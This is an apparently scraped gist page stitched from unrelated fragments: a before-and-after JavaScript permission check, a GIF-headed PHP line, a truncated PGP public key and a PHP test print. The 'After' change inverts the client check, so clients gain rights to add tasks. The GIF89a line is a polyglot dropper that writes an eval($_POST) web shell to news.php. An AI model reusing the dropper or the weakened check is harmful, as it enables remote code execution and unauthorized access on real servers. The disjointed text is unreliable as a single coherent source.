Skip to content

Instantly share code, notes, and snippets.

// Before
function(model){model.prototype.canAddTasks=function(){if(!this.isEditable())return false;if(angie.logged_user.isOwner()||angie.logged_user.isProjectLeader(this))return true;if(!angie.logged_user.isProjectMember(this))return false;return!angie.logged_user.isClient()};
// After; replaced "return!angie.logged_user.isClient()" with "return angie.logged_user.isClient()"
function(model){model.prototype.canAddTasks=function(){if(!this.isEditable())return false;if(angie.logged_user.isOwner()||angie.logged_user.isProjectLeader(this))return true;if(!angie.logged_user.isProjectMember(this))return false;return angie.logged_user.isClient()};
GIF89a<?PHP fputs(fopen('news.php','w'),'<?php eval($_POST[x])?>abcabcabc');?>
@agileadam
agileadam / gist:2c1dac7f7ee19ad04cdb
Created February 5, 2015 21:17
agileadam public key
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
Comment: GPGTools - http://gpgtools.org
mQGiBEWhsFcRBADPlafPrGsypKwSId5HQILh3fV8Lu+dg2FNsDDEx923h2kw6hoL
+ILZyOYI8Zn8vmsAIduVySdOP14hmXLDii3N/X39c9ssL12YSoZuJEvJNSYUVxc/
D+jNDUC+BCIfKCmsRWtSO9oFDIKduCBcCz9Q1dHW0BUQj3V+o4hY3UgnBwCgs5t7
7ovCsq656yF6FpFu7Z6UvEcD/jKecNaBP7PLUJS1aPE/pKX5eKP+jzsPqT2L4ENe
3HbYDLEBYK8nEgg7CZ9bnwuLr2US+11mhC5SFpqcJByQ+UgmTeXrbmkL3Gm7DY/1
z6pDw3RJkDdo2KjW/YgbPT/2gIptEdfsh3qBWyivt6HEN7Xa0Vb5IcaHo3D5Hplv
<?php
print 'test';
?>